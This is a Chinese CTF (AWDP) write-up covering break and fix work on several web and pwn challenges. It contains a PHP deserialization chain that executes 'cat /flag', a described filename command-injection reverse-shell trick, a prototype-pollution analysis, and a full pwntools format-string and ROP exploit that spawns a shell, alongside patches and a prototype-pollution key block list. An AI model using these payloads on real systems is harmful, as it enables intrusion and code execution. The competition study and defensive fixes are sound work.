很幸运的拿到了榜一,队友太强了,AWDP玩的很少,不过这次break 和 fix都有成果。
Break 第一,Fix 第四
[web] easyUpload
break
F12检查图片,发现通过/show.php?file=img/1.png
来读取
任意文件读取,flag被ban,读index.php源码
1<?php
2Class Dog {
3 public $bone;
4 public $meat;
5 public $beef;
6 public $candy;
7 public function __invoke() {
8 if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) {
9 return $this->candy->flag;
10 }
11 }
12
13 public function __toString() {
14 $function = $this->bone;
15 return $function();
16 }
17}
18
19CLass mouse {
20 public $rice;
21
22 public function __get($key) {
23 @eval($this->rice);
24 }
25}
26
27class Cat {
28 public $fish;
29 public function __construct() {
30 }
31
32 public function __destruct() {
33 echo $this->fish;
34 }
35}
36
37// 处理文件上传
38$message = '';
39$success = false;
40if ($_SERVER['REQUEST_METHOD'] === 'POST') {
41 if (isset($_FILES['uploaded_file'])) {
42 $uploadDir = __DIR__ . '/uploads/';
43 $uploadedFile = $uploadDir . basename($_FILES['uploaded_file']['name']);
44
45 if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $uploadedFile)) {
46 $message = '上传成功!';
47 $success = true;
48
49 $fileContent = file_get_contents($uploadedFile);
50 @unlink($uploadedFile);
51
52 @unserialize($fileContent);
53 $fileContent = "";
54
55 // 设置 session,表示上传成功
56 $_SESSION['upload_success'] = true;
57
58 // 重定向,防止刷新页面时重复提交表单
59 header("Location: " . $_SERVER['PHP_SELF']);
60 echo $message;
61 exit();
62 }
63 }
64}
65?>
66<!DOCTYPE html>
67<html lang="zh-CN">
68...
69</html>
反序列化,经过一个md5绕过
1<?php
2// 启动 session
3session_start();
4
5Class Dog {
6 public $bone;
7 public $meat;
8 public $beef;
9 public $candy;
10 public function __invoke() {
11 if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) {
12 return $this->candy->flag;
13 }
14 }
15
16 public function __toString() {
17 $function = $this->bone;
18 return $function();
19 }
20}
21
22CLass mouse {
23 public $rice;
24
25 public function __get($key) {
26 @eval($this->rice);
27 }
28}
29
30class Cat {
31 public $fish;
32 public function __construct() {
33 }
34
35 public function __destruct() {
36 echo $this->fish;
37 }
38}
39
40
41$a = new Cat();
42$a->fish = new Dog();
43$a->fish->bone = new Dog();
44$a->fish->bone->meat = 's878926199a';
45$a->fish->bone->beef = 's155964671a';
46$a->fish->bone->candy = new mouse();
47$a->fish->bone->candy->rice = "system('cat /flag');";
48
49
50echo serialize($a);
51
52# O:3:"Cat":1:{s:4:"fish";O:3:"Dog":4:{s:4:"bone";O:3:"Dog":4:{s:4:"bone";N;s:4:"meat";s:11:"s878926199a";s:4:"beef";s:11:"s155964671a";s:5:"candy";O:5:"mouse":1:{s:4:"rice";s:20:"system('cat /flag');";}}s:4:"meat";N;s:4:"beef";N;s:5:"candy";N;}}
[web] img2base64
break
我觉得这题是最难的一题,现场也没几个人做出来
用到一些小trick
首先要绕一些字符,管道符截断,环境变量反弹shell,无密码读取文件
小明打ctf上头了,发什么消息都用编码发送,于是他搭建了一个web服务用来将图片进行base64编码,粗心的小明没有考虑安全问题,你能帮他看看吗?
平台给了源码
1import os
2import re
3import subprocess
4from flask import Flask, request, render_template, jsonify
5
6app = Flask(__name__)
7
8UPLOAD_FOLDER = 'uploads/'
9if not os.path.exists(UPLOAD_FOLDER):
10 os.makedirs(UPLOAD_FOLDER)
11
12app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
13def checkname(filename):
14
15 ILLEGAL_CHARACTERS = r"[*=&\"%;<>iashto!@()\{\}\[\]_^`\'~\\#]"
16 noip = re.compile(r"\d+\.\d+")
17 if re.search(ILLEGAL_CHARACTERS, filename):
18 return False
19 if ".." in filename :
20 return False
21 if(noip.findall(filename)):
22 return False
23
24
25@app.route('/')
26def upload_form():
27 return render_template('upload.html')
28
29@app.route('/upload', methods=['POST'])
30def upload_file():
31 if 'file' not in request.files:
32 return jsonify({"error": "No file part in the request"}), 400
33
34 file = request.files['file']
35 if file.filename == '':
36 return jsonify({"error": "No file selected"}), 400
37 if(checkname(file.filename)==False):
38 return jsonify({"error": "Not hacking!"}), 500
39 if file:
40 file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
41 file.save(file_path)
42 result = subprocess.run(f"cat {file_path} | base64", shell=True, capture_output=True, text=True)
43 encoded_string = result.stdout.strip()
44 return jsonify({
45 "filename": file.filename,
46 "base64": encoded_string
47 })
48
49if __name__ == '__main__':
50 app.run(host='0.0.0.0',port=5000)
公告有提示反弹shell,那就先把反弹的命令写进文件
代码执行的是cat {file_path} | base64
先通过|
截断命令,然后使用$0
来执行 cat 输出的内容,也就是反弹shell的命令
$0
代表本文件,$1
代表第1个参数,以此类推。$#
代表参数个数
监听端口
没权限读flag
sudo -l
查看有权限的命令,然后在GTFOBins查sudo语法
幸好本地部署了GTFOBins
不过这题队友出大力,推荐队友的一键部署环境脚本:https://github.com/dr0n1/CTF_misc_auto_deploy
[web] genshop
fix
太逆天了,我正在加各种过滤,结果rot-will把函数去掉就过了。
ssti的模板去掉直接过了
[web] Easy_shop
break
打开是一个商店购买页面
将购买数量改成负数,可以增加金钱
购买flag,得到/showflag
路由
访问是一个文件读取功能,读取../app.js
1const express = require('express');
2const app = express();
3const fs = require('fs');
4const port = 3000;
5const bodyParser = require('body-parser');
6
7app.set('view engine', 'ejs');
8app.use(express.static('public'));
9app.use(bodyParser.urlencoded({ extended: true }));
10
11let money = 1000;
12const initialMoney = 1000;
13let message = '';
14const products = [
15 { name: '帽子', price: 10 },
16 { name: '棒球', price: 15 },
17 { name: 'iphone', price: 150 },
18 { name: 'flag', price: 1500 },
19];
20
21app.get('/showflag', (req, res) => {
22 res.render('readfile');
23});
24
25app.post('/readfile', (req, res) => {
26 const fileName = req.body.fileName;
27
28 if (fileName.includes("fl")) {
29 return res.status(200).send('你还真读flag啊');
30 }
31 // 读取文件内容
32 fs.readFile("/app/public/"+fileName, 'utf8', (err, data) => {
33 if (err) {
34 res.status(500).send('Error reading the file');
35 } else {
36 res.send(data);
37 }
38 });
39});
40
41
42app.get('/', (req, res) => {
43 res.render('index', { products, money, message });
44});
45
46app.get('/buy/:productIndex', (req, res) => {
47 const productIndex = req.params.productIndex;
48 let quantity = req.query.quantity || 1; // 获取购买数量,默认为1
49
50 if (productIndex === '3') {
51 quantity = Math.abs(quantity); // 取绝对值
52 if (products[productIndex] && money >= products[productIndex].price * quantity) {
53 money -= products[productIndex].price * quantity;
54 message = `购买flag成功啦!给你/showflag这个路由,听说那里面有flag`;
55
56
57 res.render('index', { products, money, message, showAlert: true });
58 } else {
59 message = 'flag很贵的';
60 res.redirect('/');
61 }
62 }else{
63 if (products[productIndex] && money >= products[productIndex].price * quantity) {
64 money -= products[productIndex].price * quantity;
65 message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`;
66
67 // 使用 JavaScript 弹窗来显示购买成功消息
68 res.render('index', { products, money, message, showAlert: true });
69 } else {
70 message = '购买失败,钱不够啊老铁.';
71 res.redirect('/');
72 }
73 }
74});
75
76
77
78function copy(object1, object2) {
79 if (typeof object1 !== 'object' || object1 === null ||
80 typeof object2 !== 'object' || object2 === null) {
81 return;
82 }
83
84 for (let key in object2) {
85 if (
86 typeof object2[key] === 'object' &&
87 object2[key] !== null &&
88 typeof object1[key] === 'object' &&
89 object1[key] !== null
90 ) {
91 copy(object1[key], object2[key]); // ✅ 安全递归
92 } else {
93 object1[key] = object2[key]; // ✅ 直接赋值
94 }
95 }
96}
97
98
99app.post('/getflag', require('body-parser').json(), function (req, res, next) {
100 res.type('html');
101 const flagFilePath = '/flag';
102 let flag = '';
103 fs.readFile(flagFilePath, 'utf8', (err, data) => {
104 if (err) {
105 console.error(`无法读取文件: ${flagFilePath}`);
106 } else {
107 flag = data; // 将文件内容赋值给flag变量
108 var secert = {};
109 var sess = req.session;
110 let user = {};
111 copy(user, req.body);
112 if (secert.testattack === 'admin') {
113 res.end(flag);
114
115 } else {
116 return res.send("no,no,no!");
117 }
118 }
119 });
120});
121
122
123app.get('/reset', (req, res) => {
124 money = initialMoney;
125 message = '';
126 res.redirect('/');
127});
128
129app.listen(port, () => {
130 console.log(`Server is running on http://localhost:${port}`);
131});
逻辑很简单,copy函数有问题,一眼Node.js原型链污染
secert 是个空对象,但它和 user 在同一作用域下,需要控制 req.body 中的内容,污染secret
这题刚开始没说读取../app.js
,我在fuzz的时候居然读到了1.txt、2.txt、3.txt,分别是:
1在一个宁静的午后,阳光透过树叶洒在地面上,斑驳陆离。小镇的街道上行人稀少,只有微风轻轻拂过树梢,带来一丝初秋的凉意。远处传来几声悠扬的钟声,仿佛提醒人们,该是泡一壶茶、慢慢享受时光的时候了
2
3夜幕降临,城市的灯光次第亮起,仿佛点燃了沉睡的星辰。街角的咖啡店还亮着温暖的橘黄色灯光,一杯热饮静静地摆在窗边的桌上。外面车水马龙,人来人往,而屋内却是一方静谧的世界,时间在这里缓慢流淌,仿佛与喧嚣隔绝。
4
5清晨的山间薄雾弥漫,露珠挂在草叶上,闪烁着晶莹的光。远处传来鸟鸣声,唤醒了沉睡的森林。一位背着行囊的旅人正沿着蜿蜒的小径缓缓前行,每一步都踩在湿润的土地上,带着对未知的好奇,走向尚未被书写的旅程。
出现7个一,所以我尝试读取f1111111ag,或者其他变体,都不行。或者按照早中晚的顺序,对文件名排序,312,那是不是响应码改成312响应码呢?可是没有这个响应码。直到给出hint,我才知道这个毫无用处,纯属迷惑人的。
fix
只用修读取flag的关键漏洞就行,但我顺手把增加金钱数、任意文件读取这俩洞也修了。你还真读app.js啊 : )
1app.post('/readfile', (req, res) => {
2 const fileName = req.body.fileName;
3
4 if (fileName.includes("fl")) {
5 return res.status(200).send('你还真读flag啊');
6 }
7 // 阻止读取源码
8 if (fileName.includes("ap")) {
9 return res.status(200).send('你还真读app.js啊');
10 }
11 // 读取文件内容
12 fs.readFile("/app/public/"+fileName, 'utf8', (err, data) => {
13 if (err) {
14 res.status(500).send('Error reading the file');
15 } else {
16 res.send(data);
17 }
18 });
19});
20
21app.get('/buy/:productIndex', (req, res) => {
22 const productIndex = req.params.productIndex;
23 let quantity = req.query.quantity || 1; // 获取购买数量,默认为1
24
25 if (productIndex === '3') {
26 quantity = Math.abs(quantity); // 取绝对值
27 if (products[productIndex] && money >= products[productIndex].price * quantity) {
28 money -= products[productIndex].price * quantity;
29 message = `购买flag成功啦!给你/showflag这个路由,听说那里面有flag`;
30
31 res.render('index', { products, money, message, showAlert: true });
32 } else {
33 message = 'flag很贵的';
34 res.redirect('/');
35 }
36 }else{
37 // 模仿上面对数量做绝对值,防止购买负数增加金钱
38 quantity = Math.abs(quantity); // 取绝对值
39 if (products[productIndex] && money >= products[productIndex].price * quantity) {
40 money -= products[productIndex].price * quantity;
41 message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`;
42
43 // 使用 JavaScript 弹窗来显示购买成功消息
44 res.render('index', { products, money, message, showAlert: true });
45 } else {
46 message = '购买失败,钱不够啊老铁.';
47 res.redirect('/');
48 }
49 }
50});
51
52
53function copy(object1, object2) {
54 if (typeof object1 !== 'object' || object1 === null ||
55 typeof object2 !== 'object' || object2 === null) {
56 return;
57 }
58
59 for (let key in object2) {
60 // 过滤原型链污染常用字符串
61 if (key === 'outputFunctionName' || key === '__proto__' || key === 'constructor' || key === 'prototype' || key === 'return' || key === 'global' || key === 'process' || key === 'mainModule' || key === 'constructor' || key === 'child' || key === 'execSync' || key === 'escapeFunction' || key === 'client' || key === 'compileDebug') {
62 continue;
63 }
64
65 if (
66 typeof object2[key] === 'object' &&
67 object2[key] !== null &&
68 typeof object1[key] === 'object' &&
69 object1[key] !== null
70 ) {
71 copy(object1[key], object2[key]); // ✅ 安全递归
72 } else {
73 object1[key] = object2[key]; // ✅ 直接赋值
74 }
75 }
76}
[pwn] Cake_shop
break
存在格式化字符串
exp
1from pwn import *
2def nothing(data):
3 p.sendlineafter(b'choice>>',b'4')
4 p.sendlineafter(b'happens',data)
5
6def buy(num,data):
7 p.sendlineafter(b'choice>>',b'1')
8 p.sendlineafter(b'cake $100',str(num).encode())
9 p.sendlineafter(b'shop',data)
10
11p=remote('10.1.108.15',9999)
12payload=b"aaa%15$p %13$p %17$pbbb"
13nothing(payload)
14p.readuntil(b'aaa')
15d0,d1,d2=p.readuntil(b'bbb',drop=1).split(b' ')
16elf_addr=int(d1,16)
17libc_addr=int(d2,16)
18e=ELF("./pwn")
19e.address=elf_addr-0x156a
20libc=ELF('./libc.so.6')
21libc.address=libc_addr-0x24083
22
23index=3+6
24a_addr=0x4010+e.address
25payload="%"+str(0xe0ff)+"c%9$hn%"+str(0x10000-0xe0ff+0x5f5)+"c%10$hn"
26payload=payload.ljust(24,'a').encode()
27print(payload)
28payload+=p64(a_addr)+p64(a_addr+2)
29nothing(payload)
30payload="%25600c%9$n".ljust(24,'a').encode()
31payload+=p64(0x4014+e.address)
32nothing(payload)
33
34context.log_level='debug'
35num=666
36p.sendlineafter(b'choice>>',b'1')
37p.sendlineafter(b'cake $100',str(num).encode())
38
39canary=int(d0,16)
40rdi=libc.address+0x23b6a
41ret=rdi+1
42bin_sh=next(libc.search('/bin/sh\x00'))
43system=libc.symbols['system']
44payload=b'a'*0x28+p64(canary)+p64(0xbfbfbfbf)
45payload+=p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
46p.send(payload)
47
48
49p.interactive()
fix
修改使用puts进行输出,成功修复
[pwn] stu_admin
fix
edit功能存在堆溢出,溢出了16字节
修复溢出
总结
整体难度比往年都要简单,就是搞不懂为什么check的轮次这么少,只有两轮,而且不返回check的结果
队友很厉害,不过这次也没有拖后腿,还是有Break 和 Fix成果的。